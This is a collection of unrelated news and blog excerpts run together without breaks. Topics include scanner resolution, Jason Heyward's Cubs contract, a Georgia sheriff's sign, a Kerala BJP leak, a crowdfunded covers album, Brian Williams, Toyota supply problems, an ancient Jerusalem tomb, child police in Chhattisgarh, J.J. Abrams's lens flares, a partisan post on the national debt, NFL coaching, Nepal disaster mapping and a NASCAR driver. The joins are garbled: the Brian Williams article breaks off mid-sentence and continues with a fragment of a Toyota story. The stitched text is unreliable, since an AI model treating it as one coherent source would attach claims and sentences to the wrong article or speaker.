But once you reach the limits of the device resolution and the detail in the original, then additional enlargement doesn’t help. I think I have a couple of illustrations of this in my most recent blog article about enlargement (http://go.usa.gov/j2q4). I don’t believe you can magnify a newspaper image and find additional detail in a scan with a true resolution above 300 ppi.
Finally, Apple claims that human vision is only capable of resolving 326 ppi (search online for their “Retina display” marketing materials). There is a lot of quibbling about that number but most still claim not more than 450 ppi.
In the end, I doubt that you will see any significant improvement in an image of reflective materials beyond an ISO standard resolution of 400 ppi. I doubt you will find any improved image quality on consumer scanners above an ISO standard resolution beyond 1200 ppi unless you scan 35mm film in a specialized, high quality film scanner.
Two final notes. I believe the costs of higher resolution are vastly underestimated. Scan time will increase significantly with increased resolution. Transfer times increase, processing times increase. The expertise needed increases to get better quality. Storage and multiple backups increase. Consumer hard disk drives are not archival devices. Your children and grandchildren may not be able to retrieve images from a hard disk even 15 years from now. Increased image size means greatly increased cost.
And I believe 300 ppi / 400 ppi is future-proof. At least for reflective materials, I don’t believe we will see greater detail in a 1200ppi scan no matter how improved future equipment is.Jeff Roberson/Associated Press
For the second time in as many years, Jason Heyward is on the move, agreeing to a deal with the Chicago Cubs.
Gordon Wittenmyer of the Chicago Sun-Times first reported the news. Fox Sports' Ken Rosenthal and CBS Sports' Jon Heyman have since confirmed Heyward is headed to the Cubs.
Heyman indicated Heyward likely gave the Cubs a discount:
Rosenthal confirmed that both the Nationals and Cardinals are believed to have offered Heyward over $200 million.
Wittenmyer added the deal is for eight years, while Rosenthal reported it was worth $184 million. Peter Gammons of MLB Network noted the deal contains two opt-out clauses, while Jesse Rogers of ESPN Chicago added the first opt out was after just three seasons.
ESPN.com's Jayson Stark explained why the Cubs splurged to add a premier outfield talent:
Heyward, who spent the 2015 season with the St. Louis Cardinals, is one of the unsung superstars in baseball. He's not a traditional star, with his home run totals sitting in the mid-to-high teens for most of his career, but his ability to get on base, steal bases and play elite defense in right field has made him a valuable asset.
According to FanGraphs' metrics, Heyward has been worth more than five wins above replacement three times in the past four years. Even in 2013, he was worth 3.4 WAR despite playing just 104 games due to injuries.
Jason Heyward OF Ranks Since 2010 Stat Rank.353 OBP T-22nd.345 wOBA T-32nd 23.2 Baserunning Runs 21st 27.8 WAR 5th 122 Defensive Runs Saved 1st Source: FanGraphs.com
The Cardinals opted to let the 26-year-old test free agency, with general manager John Mozeliak saying in September any negotiations between the two sides would take place in the offseason.
This deal is a bold risk for the Cubs, though Heyward was always going to have his share of suitors. One general manager told CBS Sports' Jon Heyman last offseason that a $200 million deal for the former All-Star wouldn't be a surprise.
"He's the best defensive right fielder in the game. He's young. He has upside. He's a leader with great makeup. And his WAR is higher than Giancarlo Stanton," the GM said.
Despite the large financial commitment, Jon Morosi of Fox Sports reported the Cubs may not be done yet this offseason:
Stars Heyward's age don't hit the market very often, so it's easy to see why he became one of the most coveted players available. Now, Heyward takes his tremendous skill set to Chicago. He's a true difference-maker who does so many things so well that everyone around him will be even better.A Georgia Sheriff is defending the controversial sign he posted outside his Harris County offices warning people that if they don’t like traditional phrases such as “Merry Christmas” or “In god We Trust,” then they should leave the county.
Sheriff Mike Jolley posted the “warning” sign underneath a sign welcoming people to the county that sits outside the sheriff’s offices in Hamilton, Georgia.
The sign reads: “WARNING: Harris County is politically incorrect. We say: Merry Christmas, God Bless America, and in God We Trust. We salute our troops and our flag. If this offends you… LEAVE!”
Sheriff Jolley also took pains to report that he paid for the sign out of his own pocket so as to avoid being accused of spending county funds on the display.
The sheriff is defending his sign, saying that not enough people today are speaking up in support of traditional American values. He called those who support traditional values a “silent majority” in America.
“I spent 20 years in the army to give everyone the right not to agree with it, and voice their opinion if they’re not and that’s fine. But after being the sheriff of Harris County for 23 years, I believe that the vast majority of my citizens here in Harris County agree with what’s on that sign,” Sheriff Jolley told CBS affiliate WRBL.
Sheriff Jolley also told the media that since he put up the sign he has gotten plenty of support on social media. He also said several local residents have donated money to him to help defray the money he spent creating the sign.
The owners of the sign shop that created the sign also noted that they are surprised by the wide notice their creation got in the media.
“We never thought it would get so much attention,” said sign shop manager Genny. “There has been plenty of heated debate on our Facebook page and we were surprised at all of the attention it is getting”
Follow Warner Todd Huston on Twitter @warnerthuston or email the author at igcolonel@hotmail.comKerala Bharatiya Janata Party Chief Kummanam Rajashekharan on Wednesday removed State Secretary VV Rajesh and Yuvamorcha State General Secretary Praful Krishna from their official posts following orders from the party’s national leadership. While Rajesh had allegedly leaked a party report about a medical college scam to media persons, Krishna had shared information on fake party receipts which were allegedly used for fund collection during the party’s national executive meeting in Kozhikode.
”Action has been taken against him [VV Rajesh] for breach of discipline,” the Kerala BJP chief said. “His actions tarnished the image of the party. Kummanam informed both Rajesh and Krishna about the decision directly. “Discussions leading to the action have come out of the communication between Kummanam and the central leadership,” officials said. “Not even the members in the party core committee were aware of such a move.”
“The action has been taken as per the directives of party national leadership,” unidentified officials said. “The central leadership wants the leaders here to understand that any attempts to defame the party and destabilise it in public will not be tolerated anymore,” The Times of India reported.
Action is also likely to be taken against BJP leaders KP Sreesan and AM Nazeer, who failed to maintain the secrecy of the report, reported The News Minute.
The medical college scam
On July 21, the Kerala BJP had expelled one of its leaders, RS Vinod, over bribery charges. A party investigation had found that Vinod had taken Rs 5.6 crore from a private medical college in exchange for accreditation from the Medical Council of India. An internal inquiry, conducted by BJP leaders Sreesan and Nazeer, had revealed that Vinod had taken a bribe from Bharat Dharma Jana Sena leader R Shaji to get an MCI approval for SR Medical College and Research Centre in Varkala, Thiruvananthapuram.
The matter came to light when some content of the report was leaked to the media. Party state General Secretary MT Ramesh was also accused of taking a bribe of Rs 5 crore in exchange for MCI approvals.Last year, on a whim, I decided to invite some friends of mine into the studio to make a Christmas album called Christmas with Friends. It was the fourth time I've made a full length studio album, and I have to admit it was by far the most fun. For anyone familiar with my musical career, you know I love collaborating with other people. The more the merrier! That's why I've taken friends from college and from LA on tour with me, and when I play events my friends happen to be at they all know there's an open invitation on stage during my show. I think that's why Christmas with Friends was so much fun. The studio is the one aspect of music that's usually a bit solitary and it became a fun filled process when my friends joined me. The album was really popular with the fans as well, so if I loved it, the fans loved it, and my friends loved it... I'd be crazy not to do it again!
This time I'll be inviting some of the same friends from the last album, and some new ones as well, to rework some of our favorite songs for you guys. I love writing music, but I learned how to write by singing well-written songs by other artists, and I'm excited to share some of those songs with you guys. Many of them you already know, but maybe not the same way I sing them!
As for the financial goal I'm shooting for, the last time it was a bit of a whim, and the response was overwhelming! The support the fans threw in was amazing and thankfully it covered the costs associated with the album. Having been through it once now, I have a little better idea of what's involved in making a cover album with 10 or so guest singers, so I put a number on there that will cover enough of the costs that I can just focus on the project. Last time there were some unexpected costs, (recording in Vancouver!) and some expected ones (licensing fees for cover songs can be quite expensive, and I'd love to not be limited to certain songs because of the fees associated) so the goal that's there is about what I anticipate this album costing, however, I have plenty of fun ideas for this album should the support get crazy again. Crazy worldwide release tours, perhaps a DOUBLE album with room for more even more friends, or maybe a companion coffee table book, or continuing series... like I said, plenty of crazy Ideas floating around. :)
GOOOOOOAAAAAALLLLLL!!!!!!!
You guys are amazing, and because of that amazingness, we've hit our goal! I can't thank you enough, and I'm stoked to get started on this project. I've added a few more reward levels, a $65 $85 and $100 level for those of you interested in helping punch this thing up to the next level, and here are the stretch goals...
43,855
will beat the last kickstarter for Christmas with Friends, so if that happens, Covers with Friends will beat it too! If we hit that goal, this album will have more songs and more guests too!
55,000
Let's add a London release party to the docket! The plan now is to have an LA release party and partner with Stageit again, but if we clear 55,000 then we'll just have to do one in London as well!! and if we hit that one, then I think we'll have to look into maybe following it up with Rome or Frankfurt... maybe even a Covers with Friends tour... but first things first!The NBC anchor’s stories about his time in Iraq and New Orleans may be in question but if he can be saved, it’s Slow Jamming the News that will do it
Brian Williams is indeed in a tough spot. After a group of Iraq veterans called into question his story about being in a helicopter that received gunfire in Iraq in 2003, the NBC Nightly News anchor publicly apologized for “misremembering” the events.
Subsequently, NBC News launched an investigation into his reporting from New Orleans in the aftermath of Hurricane Katrina. Now he has voluntarily stepped down from the anchor desk to wait out the scandal. There’s no guarantee that he’ll be back – but it’s a decent bet.
NBC's Brian Williams takes himself off air amid Iraq and Katrina controversy Read more
This would be enough to end many journalists’ careers. But Williams is likely going to be fine. Why? NBC has always positioned him less as a journalist and more as an entertainer. I’m not saying he doesn’t have plenty of journalistic input in his position as managing editor of his program, but most know him not from reporting the news, but slow-jamming it with Jimmy Fallon.
The former generation of nightly news anchors, of which Walter Cronkite was the Platonic ideal, was seen as a bunch of serious men who covered serious topics and had to be trusted by the people of America. Williams’s predecessor, Tom Brokaw, was certainly one of those. You believed every word he said, but he never seemed like he would be a particularly fun or interesting person to sit next to at a dinner party.
Dan Rather, one of the key figures of this generation, was deposed from his role as managing editor at CBS after a scandal about some shoddy reporting 10 years ago. He might have fared a bit better if he was working today, when he would probably be less a reporter and more a person who delivers the news.
Williams belongs to this new generation of anchors, expected to keep us entertained as well as informed. There’s ABC dreamboat David Muir, who entertains Kelly Ripa with stories of interviewing Brad Pitt. There’s Anderson Cooper, known as much for his giggle fits during the pop culture segment of his news broadcast as he is for standing out in the rain during every hurricane. Cooper even took some time away from the news desk to serve as the host of the reality show The Mole and hosts New Year’s Eve with comedian Kathy Griffin.
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NBC has always positioned Williams with these two. He’s not doing soft shoes during his 30 minutes informing the American public, but he’s been on Fallon with stunning regularity. Williams has had a |
to meet its needs.
Aichi Steel, which produces speciality steel products among other items, was hit by an explosion on January 8 which badly damaged parts of its production site.
Aichi Steel is expected to return to full operation in March.
Toyota said it does not disclose its daily production plans, but the firm has said it produced 14,000 units a day in 2015.
The company, which surpassed Volkswagen in 2015 to keep the title of world's top-selling automaker, produced more than four million cars in Japan last year and over 10 million worldwide.
At the Tokyo Stocks Exchange, Toyota shares rose 1.31 percent to 7,294 in early trade, mirroring the headline Nikkei index, which added 1.27 percent.This article was originally published on Dr. James Tabor’s popular Taborblog, a site that discusses and reports on “‘All things biblical’ from the Hebrew Bible to Early Christianity in the Roman World and Beyond.” Bible History Daily republished the article with consent of the author. Visit Taborblog today, or scroll down to read a brief bio of James Tabor below.
The braided hair of a Jewish woman was found at Masada but until recently, no example of preserved hair from a Jewish male had ever been found from the late 2nd Temple period. This discovery is one of the many fascinating, but less publicized, finds of the 1st-century “Tomb of the Shroud,” discovered in the summer of 2000 just outside the Old City of Jerusalem. The secrets this tomb continues to yield are many, including recent correlations with the DNA test results from the Talpiot Jesus tomb.
Many of the most interesting archaeological discoveries are accidental. There seems to be an unwritten axiom, those who seek never find, and those who find were not seeking. I have participated in over 20 seasons of excavation at five different sites over the past 25 years and I can’t count the times when suddenly, “out of the blue,” one of our students, volunteers, or a staff member suddenly finds something significant–and totally unexpected! Such was the case with the 15 line ostracon at Qumran in 1996, the engraved 1st-century menorah we found at Sepphoris in 1999 or the mysteriously inscribed stone vessel at Mt Zion in 2009.
In the BAS DVD Biblical Controversies and Enigmas, Dr. James D. Tabor sheds light on longtime Biblical debates, such as the origins of Christianity, what archaeology reveals about the last days of Jesus and what the Bible says about death, the afterlife and resurrection. For beginners and seasoned readers of Biblical Archaeology Review–and everyone in between!
I have to say that until our recent discoveries in the Talpiot “Patio” tomb, the most exciting find in which I have been involved had to be the wholly accidental late-night discovery of the freshly robbed tomb in Akeldama, in the Valley of Hinnom, just south of Jerusalem. It was June 14, 2000. Shimon Gibson and I were hiking just south of the Old City with five of our students, showing them some of the abandoned 1st-century tombs of that area. We had been in Israel for two weeks excavating at the Suba “John the Baptist” cave. We suddenly and unexpectedly came upon a freshly robbed entrance to one of the many 1st-century tombs that are in that area–many of them still sealed. We could see broken ossuaries, scattered bones and displaced soil where the invaders had removed the blocking stone to the tomb and tunneled inside.
The rest is now history. This amazing three-level tomb, cut into bedrock, contained in a lower niche or kokh the partially preserved skeletal remains of a male with a badly deteriorated cloth burial shroud still visible! We could hardly believe our eyes. Joe Zias, whom we told about the discovery the next day, was so sure the cloth had to be a later reburial that he swore that he would “eat his hat”–a plastic cuyler’s hat at that–if our cloth turned out to be ancient.
I had the cloth dated at the University of Arizona C-14 lab. Douglas Donahue, the same scholar who tested the Shroud of Turin, dated our cloth–it came out 1st century CE, and made headlines around the world (see here and here). Although 1st century cloth has been found at Masada and in caves in the Judean Desert, nothing of this sort had ever been found in Jerusalem. Apparently that niche, sealed with a blocking stone, had a geological fissure that kept water from seeping in and rotting the material.
The tomb had any number of interesting features. DNA studies were done on all the individuals represented in the tomb–the first time, so far as we know, that this had even been done in an ancient Jerusalem tomb of this period. Textile analysis was done on the cloth–it turned out to be a layered mixture of linen and wool.[1] Perhaps the most surprising find was that our shrouded individual, a male, had Hanson’s disease–leprosy–the 1st documented case from this region in ancient times (see my post on this here). Gibson, Zissu, and I published our preliminary results later that same year[2] and in 2009, a complete scientific study appeared in the on-line journal PLoS One, available for download here.
One of the more fascinating finds in this tomb, one that has not received much attention, was the preservation of a sample of Jewish male hair. The hair was lice-free, and was trimmed or cut evenly, probably indicating that the family buried in this tomb practiced good hygiene and grooming. The length of the hair was medium to short, averaging 3-4 inches. The color was reddish.
The Tomb of the Shroud continues to offer more surprises. We recently noticed that the mitDNA tests of two of the individuals in this tomb match the polymorphisms of two individuals in the Jesus family tomb–namely skeletal materials taken from both the Yeshua and the Mariamene ossuaries. What the implications of this might be, and whether there is any possible relationship between these two families, remains to be explored. For one particularly tantalizing possibility, see Shimon Gibson’s speculations regarding the James Ossuary being stolen from the Akeldama “tomb of the Shroud.”[3]
Notes
1. I should point out that the two types of cloth were not woven together but lined or layered, thus avoiding any halachic violation of shatnetz, the Torah prohibition of mixing wool and linen.
2. “Jerusalem—Ben Hinnom Valley,” with B.Zissu, S.Gibson, Hadashot Arkheologiyot (Jerusalem: Israel Exploration Society, 2000), Vol.III, pp. 70*-72*, Figs.138-139.
3. Shimon Gibson, “A Lost Cause: A Response from Shimon Gibson on the James Ossuary Inscription” Biblical Archaeology Review 30:6 (2004) 55-58.
Dr. James Tabor is Chair of the Department of Religious Studies at the University of North Carolina at Charlotte where he is professor of Christian origins and ancient Judaism. Since earning his Ph.D. at the University of Chicago in 1981, Tabor has combined his work on ancient texts with extensive field work in archaeology in Israel and Jordan, including work at Qumran, Sepphoris, Masada, Wadi el-Yabis in Jordan. Over the past decade he has teamed up with with Shimon Gibson to excavate the “John the Baptist” cave at Suba, the “Tomb of the Shroud” discovered in 2000, and ongoing work at Mt Zion. Most recently, Tabor, along with Rami Arav, have been involved in the re-exploration of two tombs in East Talpiot; the controversial “Jesus tomb” and a related tomb less than 200 feet away that has ossuary inscriptions Tabor and Arav interpret as Judaeo-Christian. Among his publications are Things Unutterable (1985), A Noble Death (1992) Why Waco: Cults and the Battle for Religious Freedom in America (1995) and The Jesus Dynasty: A New Historical Investigation of Jesus, His Royal Family, and the Birth of Christianity (Simon & Schuster, 2006). His most recent book, co-authored with Simcha Jacobovici, is The Jesus Discovery: The New Archaeological Find that Reveals the Birth of Christianity (Simon & Schuster, 2012). He has a new book, Paul and Jesus: How the Apostle Transformed Christianity (Simon & Schuster), coming out in November, 2012. You can find links to all of Dr. Tabor’s web pages, books, and projects at jamestabor.com.
Permalink: https://www.biblicalarchaeology.org/daily/ancient-cultures/ancient-israel/the-only-ancient-jewish-hair-ever-found/Raipur: Twelve-year-old Umesh Netam has been skipping school for three days a week for the past five years. Not that he whiles away his time with friends – the boy actually reports to the fourth battalion of Chhattisgarh Police based in Mana, on the outskirts of state capital Raipur, as a cop.
Netam is among about 100 boys and girls in the state who are working in the police department and are nicknamed 'balarakshaks'.
As per the state government policy, if a member of the state police dies due to an illness or in attacks by Maoists and criminals, his or her children (aged five and above) can be appointed to the police department.
"We have basically inherited this from Madhya Pradesh as a means of caring for the families of police personnel. The balarakshaks get a monthly amount of Rs 5,000 before they are given a regular job in the police department on a full salary when they turn 18 and complete matriculation," Chhattisgarh's Additional Director General of Police Giridhari Nayak said.
"It is mandatory for the kids to report for duty three days a week. They are mostly asked to do soft jobs like carrying files from one table to another, but it surely affects their schooling," he admitted.
The child cops are mostly posted at the offices of the superintendent of police of their respective areas, and report to duty in police uniform which is given to them free of cost.
Netam, who comes from a poor tribal family in Dhamtari district, is enrolled in a private school in Class 5.
"I skip school for three days for duty and it affects my education heavily, but I compensate it by tuitions in the evening," he said.
His friend and 'colleague' Anurag, 10, who is studying in Class 4 in the Mana area, said: "Balancing a police job and schooling is tough for me. On days when I have to bunk school, I miss a lot of chapters taught in class. However, my mother is very happy as I earn Rs 5,000 every month."
Chhattisgarh is the worst affected by Maoist insurgency in India. And caught in the crossfire between the rebels and security forces are many young lives.
Ashish Kumar Yadav, 17, is a Class 10 student of Government High School in Raipur, and is posted at the superintendent of police's office here. For him, his present job is a means to an end.
"I enjoy the duty because it's not a pressure job now. My boss expects me to only carry files from one table to another, and I use my spare time in office to catch up on my studies.
"Though next year I will be appointed as a constable, I will not stop at this post. I aim to become an IPS (Indian Police Service) officer and fight the Maoists who killed my father and forced me to be a cop when I was just eight years old."If you've seen a single second of Abrams' Star Trek you know the film is stuffed with audience blinding lens flashes. J.J. Abrams admitted he got a bit carried away, but explained why they're there.
At the Star Trek press conference this weekend, J.J. Abrams addressed the press and when it was io9's turn, we asked him the one thing that had been plaguing us since the first shiny Trek clip was released:
I'm curious to hear more about why you decided to use so many lens flares, and exactly when you decided to use them?
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[Smiles] I don't know what you're talking about. [Laughs] I'm kidding. I know what you're saying with the lens flares. It was one of those things... I wanted a visual system that felt unique. I know there are certain shots where even I watch and think, "Oh that's ridiculous, that was too many." But I love the idea that the future was so bright it couldn't be contained in the frame.
The flares weren't just happening from on-camera light sources, they were happening off camera, and that was really the key to it. I want [to create] the sense that, just off camera, something spectacular is happening. There was always a sense of something, and also there is a really cool organic layer thats a quality of it. They were all done live, they weren't added later. There are something about those flares, especially in a movie that can potentially be very sterile and CG and overly controlled. There is something incredibly unpredictable and gorgeous about them. It is a really fun thing. Our DP would be off camera with this incredibly powerful flashlight aiming it at the lens. It became an art because different lenses required angles, and different proximity to the lens. Sometimes, when we were outside we'd use mirrors. Certain sizes were too big... literally, it was ridiculous. It was like another actor in the scene....
We had two cameras, so sometimes we had two different spotlight operators. When there was atmosphere in the room, you had to be really careful because you could see the beams. So it was this ridiculous, added level of pain in the ass, but I love... [looking at] the final cut, [the flares] to me, were a fun additional touch that I think, while overdone, in some places, it feels like the future is that bright.
So now you know, and honestly after hearing his reasoning and his admission that maybe he got a little carried away in some scenes — like the above Spock meets Scottie moment — I can see what he's saying, especially about keeping it from looking too greenscreen or fake.
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Also, Abrams touched on what he had to cut from the movie and will be appearing on the Trek DVD:
What's going to be on the DVD and BluRay, we heard something about the character Uncle Frank?
[Kirk's] Stepfather and young Kirk have a scene, there is a Nero prison scene, young Spock as a baby, and more... there are a couple scenes that were brought out of the movie. Some things, like that prison sequence, just confound the audience. Every time we screened the movie for a group, that sequence threw them, even though it had some of my favorite design in the entire movie. The wardrobe, the location, some of the visual effects were really fun. But you know it was better without it, when we cut it.If you listen and watch conservative media - you'll see that the latest talking point is that "Obama's doubled the national debt during this presidency" They repeat it over and over again. It renders liberals speechless. Here's the proper response:
For starters, it's not true. The day Obama took office the debt was 10.626 trillion. It's now at 18.150 trillion. And while he has added 70.2% - it's not double. And it get's better. How much money has the federal gov't spent since he bacame president on ALL expenses related to the illegal and unfortunate decision to invade Iraq. I don't know the answer to this - but I would guess it's in the 1.5 - 2 trillion range. Subtract that from the 18.150 and you have one of the best stewardship's of the budget since Jimmy Carter.
Here's the best arguement. When a conserveative brings up the doubling of the debt - ask them if by doubling the debt would that automactically make them a terrible president. They'll say it does. And they'll say it with passion because they think that Obama is the only modern president to double the debt (even though this is complete lie). Then hit them with this. The day Ronald Reagan was sworn in - the national debt was 934 billion. The day he left office the debt was 2. 697 trillion. Almost TRIPLE. Bush 41 added over 80% and Bush 43 added 110%.
And speaking of Reagan - point out that when you blow up the federal budget by dramatically increasing defence spending and dramatically lowering taxes to the rich - you get the largest increase in deficit spending in the past 70 years. Does this sound familiar? Every republican now running for president wants to do the same.Dennis Allen: New Orleans Saints at Arizona Cardinals 2015
Defensive assistant Dennis Allen during the game between the New Orleans Saints and Arizona Cardinals at University of Phoenix Stadium in Glendale, Arizona on Sunday, September 13, 2015. (Photo by Michael DeMocker, NOLA.com | The Times-Picayune)
(Michael DeMocker)
New Orleans Saints defenders will likely be more fundamentally sound under new coordinator Dennis Allen than they were under Rob Ryan, NOLA.com | The Times-Picayune NFL scouting expert Chris Landry said in our latest Scout's Take podcast.
How will that impact the unit's league-worst ranking? Not by much, he said.
"He's not going to turn water into wine," Landry said. "This is not a very talented team. I think from a fundamental standpoint, they could play a lot better. A lot better focus, a lot better technique."
The Saints fired Ryan on Monday, one day after a 47-14 loss at Washington that stood as the most lopsided defeat in the Sean Payton era.
"I don't know if you're going to see much of a statistical difference with the personnel that they have for the rest of the year," Landry said. "I think you will see a little bit more sounder gap control, a little bit more technique use in coverage. Just a little bit... a different approach. A little bit more cerebral. He's a guy that will get into your face, but he's a guy that is a little bit more into explaining what needs to be done how and why. So I think from that standpoint we could see some improvement, but again I stress that the personnel is a bigger issue and you can't make miracles out of it."
That talent deficiency "was only made worse by how Rob tried to play it. It's not that Rob is a bad coach. He didn't have the talent to do what they wanted to do.
"It must be said, the defensive coaches, this is an organization where the coaches make the personnel decisions. The defensive coaches have a lot to do with the signings and the moves.... Quite frankly some of those guys didn't work out. Some of those were a bust."They mention facts like this: The city of Kathmandu was already well mapped before the earthquake, but, in the past week, volunteers have tripled the amount of mapping data in Nepal in OpenStreetMap.
And all this matters. The maps that HOT makes “improve outcomes,” in the lingo of international relief organizations. In other words, they enable rescuers to deliver food, shelter, and supplies to areas that need them most. It is almost certain that they greatly help reduce suffering, and it is very likely that they save lives.
But to really understand why this activation has worked better, it’s good to return to the rain clouds. Volunteers need pictures of Nepal from above so they can then trace them. Tracing works exactly as it sounds: People sitting at their computers see a road on an underlying image file and click-and-drag a digital version of that road on top of it. Once complete, they add that road to an online database called OpenStreetMap (OSM), where it can be calculated with like data or printed out as a map. (OSM is free to use and can be edited by anyone: It’s the Wikipedia of world maps.)
But tracing requires pictures of the ground, and pictures require satellites.
One of the world’s highest-resolution private satellites is called WorldView-3. The American company that owns it, DigitalGlobe, supplies imagery to many governments, including the United States.
Because of the thunderstorms, WorldView-3 couldn’t get a clear view of Nepal as it passed over the country on April 26. But later, orbiting above Bangladesh and about to cross the Indian Ocean, the satellite tilted backward and could see Kathmandu through the clouds. It snapped a picture.
“If you stand up, bend over, and look between your legs behind you, that’s what the satellite did,” said Kevin Bullock, a product specialist at the company.
It was the first picture of earthquake-wrecked Nepal. DigitalGlobe also open-licensed the imagery that night. By Sunday evening in North America, volunteers were already beginning to integrate the information into OSM. Since then, many major satellite providers—including DigitalGlobe; Google’s satellite company, Skybox; the California-based startup Planet Labs; and the large European contractor Astrium—have released imagery of the affected area.
This is both a victory of technology and a victory of organization. The last time there was a major natural disaster and accompanying HOT activation, imagery was captured but could not be used on the ground for some time. Companies were not prepared to license their data openly. “With Haiyan, it took several days,” says Bullock. “It wasn’t fast enough.”
Dale Kunce, a geographic information specialist with the American Red Cross, said that HOT, imagery providers, mapping companies and the U.S. State Department’s Humanitarian Information Unit were all much better organized and familiar with each other than they had been 18 months ago.MOORESVILLE, N.C. – Growing up in Mexico City, driving anything with wheels, German Quiroga Jr. would dream of someday racing like his heroes, Formula 1 driver Ayrton Senna and NASCAR’s Dale Earnhardt Sr.
Now a weekly threat in the NASCAR Camping World Truck Series, Quiroga is getting comfortable with racing life in the U.S. and still dreaming – with a slight twist.
“Recently,” says veteran crew chief Butch Hylton, “he told me something that I read as a sign of real fluency in the language. He’s starting to dream in English.”
Quiroga’s love for racing was fueled by his father, German Quiroga Sr.
“My father used to race in endurance races on the amateur level and I was involved and around it since I was about two years old,” recalls the younger Quiroga, currently third in points, and the only CWTS driver to place in the top 10 of all four races this season. “I was always racing something, whether it was my bicycle, the motocross bike he bought me, so I would not race in the streets, or the first car I got when I was 13.
“I watched a lot of Formula 1. That was the culture in Mexico. Most people who watched races watched the Formula 1 cars, and when I was little I would watch it with my father my uncles and cousins. We’d also see NASCAR on TV, then once a year when there would be a race in Mexico City.”
Quiroga says he didn’t see his first NASCAR race live, in the U.S., until he was in his late teens. He doesn’t recall which track it was at, but he remembers watching Earnhardt.
“The name they put to him – The Intimidator – I thought that was really meant to be,” Quiroga says. “I knew when other drivers looked in the mirror and saw that black No. 3 car, they knew they were in trouble. I learned a lot from watching him – how sometimes he’d fall back to 30th or 40th and come through the field to win races.
“I admired how hard he raced without really trying to wreck anybody. That’s the way I try to race and I really appreciate it when somebody else races you hard and doesn’t try to wreck you.”
Quiroga, a three-time NASCAR Mexico Toyota Series champion, now drives the yellow-and-black No. 77 OttterBox/Net10 WirelessToyota Tundra for Red Horse Racing.
His dreams have evolved into realistic goals: to win a NASCAR Camping World Truck Series title, advance to the Nationwide Series, perhaps in 2015, and earn a full-time NASCAR Sprint Cup Series ride.
German Quiroga Photo by: Action Sports Photography
Along the way, with help from Hylton, he plans to become the first Mexican driver to win a race in a NASCAR national series event.
Hylton, who has been crew chief for Dale Jarrett, Ricky Rudd and five others in Sprint Cup and taken Tony Stewart, Kevin Harvick and Jeff Green to victory lane in the Nationwide Series, finished second in CWTS with Quiroga’s Red Horse teammate Timothy Peters in 2012. He’s learned not to doubt Quiroga’s talent behind the wheel, his ambition or his ability to get places in a hurry.
“He’s passionate about whatever he does,” Hylton says. “The guy ran a marathon last year and almost broke four hours. The way he trains – he’s about 5-7 or 5-8, 170 pounds, but all muscle.”
A cross-training fanatic who enjoys his mountain biking, wake boarding, sky-diving and white water rafting, Quiroga is already the first Mexican driver to crack the top five of the Camping World Truck standings.
Of course, he’s accustomed to success. In his 70 NASCAR Mexico Series starts he posted 16 wins and 50 top-five finishes. On his way to his third consecutive crown in 2011, he won three of the season’s final five races and finished first or second in eight of the season’s 14 events.
In 2013, his first season with Red Horse, Quiroga notched six top-10 finishes and captured the first CWTS pole of his career at Iowa Speedway. He led 56 laps of the Iowa race before a late-race accident relegated him to 14th.
When Hylton learned he’d be shifting gears in 2014, sliding from atop Peters’ pit box to Quiroga’s, he knew he needed to work on communication as much as the Red Horse Racing Tundras.
“German and I spent a lot of time together over the holidays – Christmas and New Year’s – watching movies and becoming pretty good friends,” says Hylton, who speaks no Spanish. “We found we had a huge common passion for watching Formula 1 races and we kind of invented our own terminology based on that mutual interest. We’re still working on a few of the finer points. We listen to our (in-race) radio transmissions and review them.
“Working with (Peters) last year, I watched German a lot. We worked hard over the winter to upgrade equipment and make things better. He worked real hard on his fitness, studying tracks, studying races. It’s paid off in good finishes, good feedback. He’s been doing things right, like getting in and out of the pit box. We just need to keep building on what we’re doing and he’ll get that first win.”
Quiroga drove six CWTS races for Kyle Busch Motorsports in 2011-12 but is in just his second full season of CWTS competition. One thing he’s learned is the value of patience.
“When NASCAR arrived in Mexico with the Nationwide Series around 2007, we (like virtually all Mexican drivers) were not prepared to start racing there,” Quiroga says. “We knew some things but not as many as you should know.
Trouble for Timothy Peters, German Quiroga, Spencer Gallagher, Ron Hornaday Jr. Photo by: Getty Images
“I think, last year, I was trying to rush for that first win by a Mexican in a national division of NASCAR. I think there was too much pressure in that. This year, we’re just trying to finish every single race in the top 10 and when the win comes, it will come.”
Although he’s blooming at age 34, Quiroga doesn’t see age being a barrier to success, even as younger Mexican drivers like Daniel Suarez, who competes at the touring & weekly levels under the NASCAR Drive for Diversity program with Rev Racing, take up the challenge. In fact, Quiroga considers himself a “low mileage” veteran with a degree of maturity.
“You see a lot of successful drivers (like) Jimmie Johnson and Matt Kenseth in their 30s and even in their 40s doing very well,” Quiroga says. “I think we’re going to be very successful in the next year … and if I can provide help for a younger guy to keep moving to Sprint Cup from Latin American, I’m more than glad to do that.”
Quiroga has already become a spokesman for the sport, providing in-race analysis for Telemundo and cable viewers from Nationwide and Sprint Cup events. In April, he appeared at Hispanicize 2014 in Miami, a marketing event for Latino trendsetters. He also served as a guest commentator on FOX Deportes at Auto Club Speedway’ NASCAR Sprint Cup Series. Mun2, the bilingual sister network of Telemundo, brought Quiroga into broadcast booth to commentate live during the Mexico Series season opener in Phoenix earlier this year.
He knows that top-10 consistency might win him a CWTS title, but checkered flags will bring him notoriety.
“I think we are close, even though we haven’t put everything together yet,” he says. “At Kansas Speedway we were very fast until we had a tire go down and crashed our primary truck in the last minute of practice. Then, we were involved in a wreck on about the first lap of the race and still managed to finish in the top 10. With those kind of experiences we are gaining the confidence that’s going to make us really strong.
“I feel very good about Dover (this week). I like that track. We have a lot of short ovals in Mexico. Last year, we started experimenting with some things that we wanted to use there this year. At the end of the race we were really loose and fell from sixth or eighth to 13th. ”
In the last two weeks, Quiroga has also witnessed change at Red Horse, which consolidated from three teams to two, suspending the underfunded program of Brian Ickler’s No. 7 truck.
"We have been a competitive fixture for nine years in the NASCAR Camping World Truck Series,” said team owner Tom DeLoach. “In order to remain so, sometimes it requires difficult decisions.”
Hylton observes that the team has kept its best personnel, re-allocated all equipment and will be unveiling a new trucks for Quiroga and Peters.
“I think we’re actually getting stronger,” Quiroga says. “It’s hard to lose one of the teams, but we were short on having trucks because of all the wrecks. Now that we have two trucks, everything will be concentrated to help one of us win that championship for Red Horse. I think us, fighting for the championship with our teammate, makes our whole team stronger.”
Seth Livingstone - NASCAR Wire ServiceHome Affairs Correspondent Darshna Soni gains exclusive access to the Madani Federation in Leicester criticised for gender segregation in school.
It’s a warm, sunny afternoon and a group of year 11 boys are revising for a science exam. There’s nothing unusual about the lesson – except that, unlike in mainstream single-sex schools, these students will never be allowed to be taught by a woman.
Their school in Leicester recently caused controversy when it advertised for a new science teacher – but stated that only men need apply.
